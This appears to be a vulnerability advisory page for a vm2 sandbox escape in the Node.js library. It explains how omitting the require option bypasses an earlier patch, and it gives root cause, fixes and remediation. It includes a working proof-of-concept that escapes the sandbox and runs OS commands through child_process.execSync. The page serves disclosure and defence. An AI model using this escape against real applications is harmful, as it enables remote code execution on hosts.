Severity by source
Sources disagree (Medium–Critical)AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.
CVSS VectorVendor: https://github.com/patriksimek/vm2
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
2Blast Radius
ecosystem impact- 88 npm packages depend on vm2 (4 direct, 84 indirect)
Ecosystem-wide dependent count for version 3.11.4.
DescriptionCVE.org
Summary
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.
When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.
Root Cause
// nodevm.js:263 - the security check
if (options.nesting === true && options.require === false) {
throw new VMError('...');
}
// nodevm.js:280 - the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
// - Line 263: undefined === false → FALSE → check skipped
// - Line 280: requireOpts = false → same as require:falseImpact
Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:
require('vm2')to get the vm2 library- Construct an inner
NodeVMwithrequire: { builtin: ['child_process'] } - Execute arbitrary OS commands via
child_process.execSync
The inner VM is completely unconstrained by the outer sandbox configuration.
Reproduction
const { NodeVM } = require('vm2');
// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });
const result = nvm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: { builtin: ['child_process'] }
});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'exploit.js'
);
`, 'exploit.js');
console.log(result); // prints host uid/gid - full RCESuggested Fix
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
throw new VMError('...');
}Or move the check after the destructuring default assignment:
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
throw new VMError('...');
}AnalysisAI
Sandbox escape in vm2 (npm package, versions <= 3.11.3) allows full remote code execution by bypassing the GHSA-8hg8-63c5-gwmx (CVE-2023-37903) patch through omission of the require option when nesting:true is set. Publicly available exploit code exists in the GHSA advisory itself, and with a CVSS of 10.0 (AV:N/AC:L/PR:N/UI:N/S:C) any application passing untrusted code to a NodeVM configured this way is trivially compromised on the host.
Technical ContextAI
vm2 (pkg:npm/vm2) is a widely deployed Node.js sandbox library used to execute untrusted JavaScript with constrained access to host APIs. The root cause aligns with CWE-913 (Improper Control of Dynamically-Managed Code Resources): the security guard in lib/nodevm.js line 263 uses strict equality (options.require = false), which only matches the literal false shape. Omitting require makes options.require = undefined, the guard short-circuits to false, and the subsequent destructuring default (require: requireOpts = false on line 280) reinstates the very configuration the original GHSA-8hg8-63c5-gwmx patch was designed to block. The resulting NESTING_OVERRIDE-only resolver permits require('vm2') from inside the sandbox, enabling construction of an inner NodeVM with builtin: ['child_process'] and direct invocation of child_process.execSync on the host.
RemediationAI
Vendor-released patch: upgrade vm2 to 3.11.4 or later (npm install vm2@^3.11.4), which lands the structural fix in commits 01a7552add345d5a6862623884e6b79a85bf0568 and 86ab819f202c3a8dad88cef5705f2e416c5188d7 - destructure first, then validate nesting === true && !requireOpts so every falsy/omitted require shape collapses to a construction-time VMError. If upgrading immediately is not possible, the actionable workaround is to remove nesting: true from every NodeVM constructor call (this denies all requires, but breaks any legitimate nested-VM use case), or to pass an explicit require config object such as require: { builtin: [] } to the outer NodeVM so the resolver is built deliberately rather than through the falsy default; note that nesting: true is itself documented by the vendor as an escape-hatch surface, so review whether it is needed at all. As a defense-in-depth measure for code that genuinely must execute untrusted JavaScript, isolate the Node.js process at the OS level (seccomp/AppArmor, dedicated low-privilege user, network egress restrictions) so that child_process.execSync from an escaped sandbox has minimal blast radius; refer to GHSA-m4wx-m65x-ghrr and the v3.11.4 release notes for the full upgrade guidance.
Vendor StatusVendor
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-36443
GHSA-m4wx-m65x-ghrr